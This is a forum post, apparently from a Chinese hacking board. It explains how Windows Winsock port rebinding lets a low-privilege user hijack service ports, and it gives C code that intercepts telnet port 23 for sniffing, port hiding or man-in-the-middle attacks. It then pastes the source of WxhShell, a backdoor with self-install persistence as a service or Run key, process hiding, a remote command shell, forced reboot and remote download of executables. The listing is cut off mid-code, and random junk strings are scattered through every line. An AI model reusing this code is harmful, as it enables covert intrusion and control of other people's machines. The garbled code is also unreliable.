社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11594阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u\XkXS`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~zxwg+:QO  
< m enABN4  
  saddr.sin_family = AF_INET; x_<bK$OU  
n#>.\F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vK6ibl0  
qB F!b0lr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >7nV$.5S  
5e)6ua,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2 {e dW+  
r]8x;v1  
  这意味着什么?意味着可以进行如下的攻击: VyWYfPK  
y~ _za(k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q#99iiG1  
Or+*q91j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =_RcoG/^~  
<!~1{`n%9J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @VC .>  
LZr0]g{Pu/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F gWkcV6B  
0+}EA[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a|QE *s.  
/o~qC<7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *p&^!ct  
3vdu;W=Sz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fm<jg}>MAd  
IvTzPPP  
  #include Vvm=MBgN  
  #include h `\$sT!Z  
  #include nn@^K6  
  #include    7m:|u*ij2~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o_Jn_3=  
  int main() [DZqCo  
  { DS:>/m>)  
  WORD wVersionRequested; uu}`warW  
  DWORD ret;  R"U/RS  
  WSADATA wsaData; &yx NvyA[u  
  BOOL val; AH2 _#\  
  SOCKADDR_IN saddr; 'tb(J3ZP  
  SOCKADDR_IN scaddr; ;)(Sdf[P  
  int err; p)B33Z zC  
  SOCKET s; 6a4'xq7  
  SOCKET sc;  8]q  
  int caddsize; CmEpir{}(  
  HANDLE mt; O^9CV*]!n  
  DWORD tid;   zL:&Q<  
  wVersionRequested = MAKEWORD( 2, 2 ); ZV'$k\  
  err = WSAStartup( wVersionRequested, &wsaData ); lWx  
  if ( err != 0 ) { *jk3 \KaoV  
  printf("error!WSAStartup failed!\n"); &?.n2+T+ =  
  return -1; (C daE!I4Q  
  } Go>wo/Sb  
  saddr.sin_family = AF_INET; DR:8oo&E  
   fdlvn*H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D \N \BD  
3k#[(phk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O 'k+7y  
  saddr.sin_port = htons(23); (I-<f$3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0A;" V'i  
  { >~I#JQ%  
  printf("error!socket failed!\n"); &v^!y=Bt  
  return -1; <9P4}`%)3  
  } M|\^UF2e  
  val = TRUE; o#qH2)tb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CRH{E}>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #6Jc}g< ?g  
  { t, U) ~wi  
  printf("error!setsockopt failed!\n"); *GQDfs`m  
  return -1; pzp,t(%j  
  } `79[+0hL'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \K}-I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d1v<DU>M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L}'Yd'  
&&=[Ivv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hAm/mu  
  { %2f//SZ:  
  ret=GetLastError(); NJtQx2Sd'H  
  printf("error!bind failed!\n"); wV(AT$  
  return -1; _7U]&Nh99  
  } X1+ wX`f  
  listen(s,2); 'Qa5n\HX$  
  while(1) eD%H XGe  
  { 96d~~2p  
  caddsize = sizeof(scaddr); 1y J5l,q  
  //接受连接请求 (Uk>?XAr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bEm7QgV{X  
  if(sc!=INVALID_SOCKET) *5_V*v6  
  { ~q)u(W C|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7kKuZW@K-  
  if(mt==NULL) 0ZMJ(C  
  { M=OCz gj  
  printf("Thread Creat Failed!\n"); v??TJ^1  
  break; ,LD m8   
  } #05jC6  
  } f-Jbs`(+  
  CloseHandle(mt); )qL&%xz  
  }  qve ./  
  closesocket(s); H`~;|6}]n  
  WSACleanup(); x2co>.i  
  return 0; 7BR8/4gcPu  
  }   H~noJIw#  
  DWORD WINAPI ClientThread(LPVOID lpParam) OS-sk!  
  { ^W~p..DF  
  SOCKET ss = (SOCKET)lpParam; &(EHq  
  SOCKET sc; j[I`\"  
  unsigned char buf[4096]; b_TS<,  
  SOCKADDR_IN saddr; 98R KCc9h  
  long num; FmEc`N9\v  
  DWORD val; } bH$O%  
  DWORD ret; Q8T`wd$D#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3 iRA$C-p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "13 "`!m  
  saddr.sin_family = AF_INET; }pVTTs`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F/p,j0S  
  saddr.sin_port = htons(23); =pcF:D#+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &?0:v`4Y  
  { s,6`RI%  
  printf("error!socket failed!\n"); y}FZD?"  
  return -1; )KE [!ofD  
  } |?d#eQ9a  
  val = 100; #sTEQjJ,J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fmfTSN(Q~`  
  { VIC0}LT0R  
  ret = GetLastError(); Z&Y=`GOI  
  return -1; $<nCXVqL,  
  } %@Oma  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) & $'z  
  { \8S ~c8Z~  
  ret = GetLastError(); '$G"[ljr  
  return -1; aZ Xmlq  
  } 20b<68h$:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Fk "Ee&H)(  
  { ~ Vw9  
  printf("error!socket connect failed!\n"); k1^\|   
  closesocket(sc); LJFG0 W  
  closesocket(ss); Ej=3/RBsV  
  return -1; Tlq-m2]  
  } 'm3t|:nMU  
  while(1) X T[zj <&_  
  { .B72C[' c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R\mR$\cS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  x}TS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p8}(kHUp(  
  num = recv(ss,buf,4096,0); QSw<%pcJE@  
  if(num>0) ht=P\E  
  send(sc,buf,num,0);  R'}95S<  
  else if(num==0) ~1 ~Xfo>  
  break; mO*^1  
  num = recv(sc,buf,4096,0); ehNzDr\s  
  if(num>0) tz^/J=)"  
  send(ss,buf,num,0); Y^KTkS0D  
  else if(num==0) GOT1@.Y  
  break; )yG"^Ulu  
  } &<y2q/U}  
  closesocket(ss); fX~'Zk\u  
  closesocket(sc); aAE>)#f(  
  return 0 ; :#5xA?=* S  
  } oVvc?P  
2S"Nf8>zp  
D&G"BZx|  
========================================================== 2)X4y"l  
vI1i, x#i  
下边附上一个代码,,WXhSHELL ^EELaG  
"9!d]2.-Vk  
========================================================== 2I/xJ+  
$e1=xSQp4  
#include "stdafx.h" Fmyj*)J[Z  
O`G/=/GZ  
#include <stdio.h> =,y |00l  
#include <string.h> 80b;I|-T,  
#include <windows.h> \1"'E@+  
#include <winsock2.h> /E;y,o75  
#include <winsvc.h> d}'U?6 ob  
#include <urlmon.h> DdQ;Q5|  
r]@0eb   
#pragma comment (lib, "Ws2_32.lib") /ID3s`D)  
#pragma comment (lib, "urlmon.lib") Z@a9mFI?  
E/M_lvQ  
#define MAX_USER   100 // 最大客户端连接数 KRAcnY;u  
#define BUF_SOCK   200 // sock buffer =GlVccc  
#define KEY_BUFF   255 // 输入 buffer Ub1hHA*)  
%`MQmXgM  
#define REBOOT     0   // 重启 !RB)_7  
#define SHUTDOWN   1   // 关机 54lu2gD'  
mw$r$C{  
#define DEF_PORT   5000 // 监听端口 7?j;7.i s(  
IU FH:w]  
#define REG_LEN     16   // 注册表键长度 M<O{O}t<  
#define SVC_LEN     80   // NT服务名长度 Vd^g9  
E 99hlY~1:  
// 从dll定义API $YxBE`)d-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (*}yjUYLZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S$)*&46g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Y7a4~ufko  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2H71~~ c  
KmG  
// wxhshell配置信息 T>TWU:  
struct WSCFG { q6Rr.A  
  int ws_port;         // 监听端口 ,.iRnR  
  char ws_passstr[REG_LEN]; // 口令 W1fW}0   
  int ws_autoins;       // 安装标记, 1=yes 0=no ~5Pb&+<$  
  char ws_regname[REG_LEN]; // 注册表键名 6E(Qx~i L  
  char ws_svcname[REG_LEN]; // 服务名 Y8M]Lwj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }En  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !+>v[(OzM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qm/Q65>E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :NJ_n6E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =_$Qtq+h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2M#M"LHo  
OsBo+fwT  
}; <,o>Wx*1C  
W} WI; cI  
// default Wxhshell configuration Lbe\@S   
struct WSCFG wscfg={DEF_PORT, .2d9?p3Y  
    "xuhuanlingzhe", We0.3aG  
    1, V7#v6!7A@  
    "Wxhshell", EA ]+vq  
    "Wxhshell", QaUm1 i#  
            "WxhShell Service", rpeJkG@+  
    "Wrsky Windows CmdShell Service", Uc/+gz Z;  
    "Please Input Your Password: ", #/PAA  
  1, DPi_O{W>  
  "http://www.wrsky.com/wxhshell.exe", 5T sUQc  
  "Wxhshell.exe" HeBcT^a  
    }; *6HTV0jv  
COH<Tj  
// 消息定义模块 J>fQNW!{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mF` B#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UOQEk22  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +)JpUqHa  
char *msg_ws_ext="\n\rExit."; h(WrL  
char *msg_ws_end="\n\rQuit."; dJ$"l|$$  
char *msg_ws_boot="\n\rReboot..."; fXrXV~'8  
char *msg_ws_poff="\n\rShutdown..."; d%l{V6  
char *msg_ws_down="\n\rSave to "; ^u 3V E  
OL4z%mDZi  
char *msg_ws_err="\n\rErr!"; oIUy-|  
char *msg_ws_ok="\n\rOK!"; U(~+o  
&-(463  
char ExeFile[MAX_PATH]; $w"$r$K9K  
int nUser = 0; /cc\fw1+  
HANDLE handles[MAX_USER]; 06jqQ-_`h  
int OsIsNt;  hi g2  
[+O"<Ua  
SERVICE_STATUS       serviceStatus; .<kqJ|SVi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C9p"?vX  
THmb6^  
// 函数声明 u2 `b'R9  
int Install(void); f~ }H  
int Uninstall(void); Bl=tYp|a  
int DownloadFile(char *sURL, SOCKET wsh); 9UvXC)R1  
int Boot(int flag); eQQ>  
void HideProc(void); ^CwR!I.D}4  
int GetOsVer(void); [+qCs7'  
int Wxhshell(SOCKET wsl); !w&kyW?e  
void TalkWithClient(void *cs); zYl#4O`=c  
int CmdShell(SOCKET sock); C8F7bG8c  
int StartFromService(void); sz9L8f2  
int StartWxhshell(LPSTR lpCmdLine); 3fN.bU9_  
Z7 E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'X shmZ0&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qzb<J=FAU  
R8.CC1Ix  
// 数据结构和表定义 K~ ;45Z2  
SERVICE_TABLE_ENTRY DispatchTable[] = '\jd#Kn'h  
{ (b`]M`Fc  
{wscfg.ws_svcname, NTServiceMain}, %YOndIS:  
{NULL, NULL} T|tOTk  
}; r|,i'T  
GF3/RT9  
// 自我安装 LjV]0%j?r  
int Install(void) DY[$"8Kxcp  
{ YM5fyv?  
  char svExeFile[MAX_PATH]; y"Nsh>h  
  HKEY key; a# c6[!   
  strcpy(svExeFile,ExeFile); ^ns@O+Fk  
mrX^2SR  
// 如果是win9x系统,修改注册表设为自启动 EbqcV\Kb  
if(!OsIsNt) { ayAo^q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >}(CEzc8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J,b&XD@m  
  RegCloseKey(key); x W92ch+t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wb S4pdA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >[X{LI(_<<  
  RegCloseKey(key); 6~*9;!th  
  return 0; u,3#M ~  
    } O]qU[y+  
  } ek&kv#G  
} [Y`,qB<B  
else { 9{:O{nl  
eI@ q|"U  
// 如果是NT以上系统,安装为系统服务 $8a(veXd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *b]; |n{  
if (schSCManager!=0) iOG[>u0h  
{ ?&Pg2]g<  
  SC_HANDLE schService = CreateService *cyeO*  
  ( qc-mGmomL  
  schSCManager, OQ9x*TmK  
  wscfg.ws_svcname, M,ir`"s  
  wscfg.ws_svcdisp,  C:G8c[  
  SERVICE_ALL_ACCESS, -,["c9'3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Iy }:F8F>g  
  SERVICE_AUTO_START, 2.d|G `  
  SERVICE_ERROR_NORMAL, |{,KRO0P  
  svExeFile, ^FnfJ:  
  NULL,  x]z2Z*  
  NULL, @BNEiOAZ#  
  NULL, p019)X|vx  
  NULL, r7Ya\0gU  
  NULL Gt wT  
  ); NH0qVQ@A  
  if (schService!=0) , lJ  v  
  { c2K:FdB  
  CloseServiceHandle(schService); g (#f:"  
  CloseServiceHandle(schSCManager); }MlwC;ot  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HI@syFaJM  
  strcat(svExeFile,wscfg.ws_svcname); z)uuxNv[R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Vi> %5A>l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B<-kzt  
  RegCloseKey(key); Uo-`>7  
  return 0; pC_O:f>vJ  
    } nVJPR  
  } 6)BR+U  
  CloseServiceHandle(schSCManager); J+f!Ar  
} WKSPBT;  
} "]\+?  
mA{~Pp Sb  
return 1; R N@ctRS  
} h`3eu;5)  
a<fUI%_  
// 自我卸载 8| $3OVS  
int Uninstall(void) \o';"Q1H  
{ ]~\sA  
  HKEY key; y9KB< yh/  
l9M0cZ,  
if(!OsIsNt) { rm} R>4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $U/YR&vcw  
  RegDeleteValue(key,wscfg.ws_regname); {8I.`U  
  RegCloseKey(key); }cN@[3v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pD&& l!i&[  
  RegDeleteValue(key,wscfg.ws_regname); D_8x6`z  
  RegCloseKey(key); ;}'D16`j  
  return 0; *cO sv  
  } j+HHQd7Y  
} L;od6<.*m  
} @&}q} D  
else { Vi$-Bw$@  
(< =}]v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 07hF2[i  
if (schSCManager!=0) ~ Uo)0  
{ ]Ta N{"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K!KMQr`  
  if (schService!=0) EKp@9\XBC  
  { \.g\Zib )  
  if(DeleteService(schService)!=0) { )>c>oMgl  
  CloseServiceHandle(schService); [= |jZVhT  
  CloseServiceHandle(schSCManager); ,<2DL p%%D  
  return 0; w/L `  
  } "al `$%(  
  CloseServiceHandle(schService); }E_#k]#*  
  } \8uIER5)  
  CloseServiceHandle(schSCManager); `N5|Ho*C  
} h`MF#617  
} _wdG|{px  
pNRk.m]  
return 1; "gD-8C3  
} %r+vSGt;5  
|$7vI&m  
// 从指定url下载文件 CX m+)a-L  
int DownloadFile(char *sURL, SOCKET wsh) 5cWw7V<m  
{ =v*.p=r  
  HRESULT hr; PH{_ ,X  
char seps[]= "/"; [ib P%xb  
char *token; %N#%|2B  
char *file; b9XW9O `B  
char myURL[MAX_PATH]; CwJDmz\tk  
char myFILE[MAX_PATH]; Ks\ NE=;5  
d9n?v)<v  
strcpy(myURL,sURL); lb:/EUd5  
  token=strtok(myURL,seps); RNQK  
  while(token!=NULL) hTbI -u7BF  
  { !'Q -yoHKD  
    file=token; |A8/FU2{  
  token=strtok(NULL,seps); WF\)fc#;_o  
  } sm$ (Y.N  
$fgf Y8  
GetCurrentDirectory(MAX_PATH,myFILE); #);[mW{F  
strcat(myFILE, "\\"); &[hLzlrg  
strcat(myFILE, file); d`1I".y  
  send(wsh,myFILE,strlen(myFILE),0); =LTmr1?  
send(wsh,"...",3,0); *kIc9}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =f(cH152T  
  if(hr==S_OK) V _c @b%  
return 0; U8(Nk\"X\  
else jg&E94}+  
return 1; c`fG1s  
",)Qc!^P$  
} aTzjm`F0  
!cGDy/ |  
// 系统电源模块 z%/N!RLW  
int Boot(int flag) smm]6  
{ ]!IVz)<E&  
  HANDLE hToken; }(<%`G6N  
  TOKEN_PRIVILEGES tkp; hb{ u'=  
1EyL#;k  
  if(OsIsNt) { N 75:5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `EtS!zD~b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V_Wwrhua  
    tkp.PrivilegeCount = 1; # 6!5 2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V#jWege  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B(F,h+ajy  
if(flag==REBOOT) { .I@CS>j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H}LS??P  
  return 0; \a+(=s(;  
} +D1d=4  
else { 7n90f2"m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fo4.JyBk  
  return 0; 4 QZ?}iz  
} _GKB6e%  
  } %0Y=WYUH>  
  else { a" H WGY  
if(flag==REBOOT) { $#|gLVOQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <94_@3  
  return 0; (5Sivw*mP  
} IG3,XW  
else { GHQ;hN:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kPjd_8z2n  
  return 0; QORN9SY  
} r_YIpnJ  
} S!{t6'8K  
+ S4fGT  
return 1; Zatf9yGD  
} qT/Do?Y  
?b!Fa  
// win9x进程隐藏模块 6:% L![FX  
void HideProc(void) zS< jd~  
{ 2Dd|~{%  
r 6eb}z!i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v=95_l  
  if ( hKernel != NULL )  8L*GE  
  { 8J)xzp`*)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~}ET?Q7t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LJVG~Yeo  
    FreeLibrary(hKernel); 1&:@  
  } % },Pe  
f+.T^es  
return; 7E!7"2e a  
} O@iu aeEW  
VzJ5.mRQ  
// 获取操作系统版本 U4G}DCU  
int GetOsVer(void) al+ #y)+  
{ i!~'M;S  
  OSVERSIONINFO winfo; 1.q_f<U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s6o>m*{  
  GetVersionEx(&winfo); z>R#H/h+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qo =Kqv  
  return 1; yFhB>i  
  else e5Mln!.o  
  return 0; 2 3KyCV5  
} A?Wk  w f  
umLb+GbI4  
// 客户端句柄模块 u>pBB@  
int Wxhshell(SOCKET wsl) xug)aE  
{ ~m*,mz  
  SOCKET wsh; d1joVUYE  
  struct sockaddr_in client; tvd0R$5}  
  DWORD myID; vEQ<A<[Z  
gw _$  
  while(nUser<MAX_USER) [ $fJRR  
{ ZX~ _g@  
  int nSize=sizeof(client); //Ai.Q.J[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0Aa`p3.)  
  if(wsh==INVALID_SOCKET) return 1; YK{a  
abxDB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KLC{7"6e)  
if(handles[nUser]==0) TzBzEiANn  
  closesocket(wsh); @ d"wAZzD?  
else ;W:6{9m ze  
  nUser++; oVCmI"'  
  } wNE$6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y\2|x*KwvF  
A-CUv[pM  
  return 0; {0!#>["<  
} OlD`uA  
s=Q(C[%I  
// 关闭 socket U/;]zdP.K  
void CloseIt(SOCKET wsh) m=qOg>k  
{ A"Q@W<.  
closesocket(wsh); *^ \FIUd  
nUser--; UK*qKj. )  
ExitThread(0); 2q} ..  
} HEA eo!  
>5T_g2pkv  
// 客户端请求句柄 9j*0D("  
void TalkWithClient(void *cs) ) uP\>vRy  
{ kcB+_  
&@3m -Z  
  SOCKET wsh=(SOCKET)cs; !MQ N  H  
  char pwd[SVC_LEN]; ( #&|Dp^'  
  char cmd[KEY_BUFF]; Ml>( tec  
char chr[1]; (Y(E%  
int i,j; f c6g  
>uJ/TQU  
  while (nUser < MAX_USER) { x O7IzqY  
q6`G I6  
if(wscfg.ws_passstr) { 8O1K[sEjui  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u1K\@jlw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0=v{RQ;W4  
  //ZeroMemory(pwd,KEY_BUFF); !p 8psi0  
      i=0; ;LJ3c7$@lf  
  while(i<SVC_LEN) { t^E hE  
#G3N(wV3  
  // 设置超时 #l1Qe`  
  fd_set FdRead; A[UP"P~u/  
  struct timeval TimeOut; TOI4?D]  
  FD_ZERO(&FdRead); lu UYo  
  FD_SET(wsh,&FdRead); 0_eQlatb  
  TimeOut.tv_sec=8; 5nCu~<uJ  
  TimeOut.tv_usec=0; [6(Iwz?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >{Rb 3Z]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n"aCt%v  
N~,_`=yRx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o4=Yu7L  
  pwd=chr[0]; Gk~l,wV>  
  if(chr[0]==0xd || chr[0]==0xa) { 1K|@ h&@  
  pwd=0; kReG:  
  break; "PpjoM ~  
  } \Mi#{0f+q  
  i++; #I`ms$j%  
    } 'b:Ne,<  
ecH/Wz1  
  // 如果是非法用户,关闭 socket kRIB<@{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F@YV]u>N  
} |;;!8VO3J  
f1+qXMs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zREJ#r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y9}8M27vQG  
h5@j`{  
while(1) { Fm j=  
g{pQ4jKF  
  ZeroMemory(cmd,KEY_BUFF); 6*1$8G`$8,  
_py2kjA6  
      // 自动支持客户端 telnet标准   0kCQ0xB[a5  
  j=0; #GqTqHNE<  
  while(j<KEY_BUFF) { XKLF8~y8A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DOm-)zl{|x  
  cmd[j]=chr[0]; p4/$EPt)lY  
  if(chr[0]==0xa || chr[0]==0xd) { wFlV=!>,  
  cmd[j]=0; DOL%'k?B  
  break; Sw! j=`O  
  } & QZVq"  
  j++; L{ ^4DznI  
    } , &' Y  
=v"xmx&4  
  // 下载文件 `"y{;PCt_  
  if(strstr(cmd,"http://")) { >BqCkyM9Kf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~-Oa8ww  
  if(DownloadFile(cmd,wsh)) ged,>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gAE!a Ky  
  else kC^.4n om  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); StQ@g  
  } rH}fLu8,;Q  
  else { C%H9[%k  
oK-!(1A-  
    switch(cmd[0]) { IbdM9qo7  
  Mz|L-62  
  // 帮助 6 nGY^  
  case '?': { -gKpL\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h-'wV${b  
    break; kP,7Li\  
  } :Z2tig nL  
  // 安装 YQ,tt<CQ  
  case 'i': { By)3*<5a_  
    if(Install()) U'3Fou}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +0#JnqH"  
    else Hql5oA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $N.`)S<  
    break; tjb/[RQ  
    } aV|k}H{wt  
  // 卸载 Ku%6$C!,  
  case 'r': { 3&J&^O  
    if(Uninstall()) ?6:cNdN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fd !iQ  
    else >rRf9wO1l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H%.zXQ4}n  
    break; |[w^eg  
    } ^HFo3V }h  
  // 显示 wxhshell 所在路径 iK x+6v  
  case 'p': { (UW6F4:$  
    char svExeFile[MAX_PATH]; ( Yi=v'd  
    strcpy(svExeFile,"\n\r"); ^]rxhpS  
      strcat(svExeFile,ExeFile); ;nf&c;D  
        send(wsh,svExeFile,strlen(svExeFile),0); '?}R4w|)  
    break; -lp"#^ ;  
    } :J%'=_I&H  
  // 重启 rsSue_Q  
  case 'b': { p+D=}O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b{HhS6<K?  
    if(Boot(REBOOT)) Qu_EfmN|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i ^S2%qz  
    else { y*KC*/'"  
    closesocket(wsh); PdM*5g4  
    ExitThread(0); '(9YB9 i  
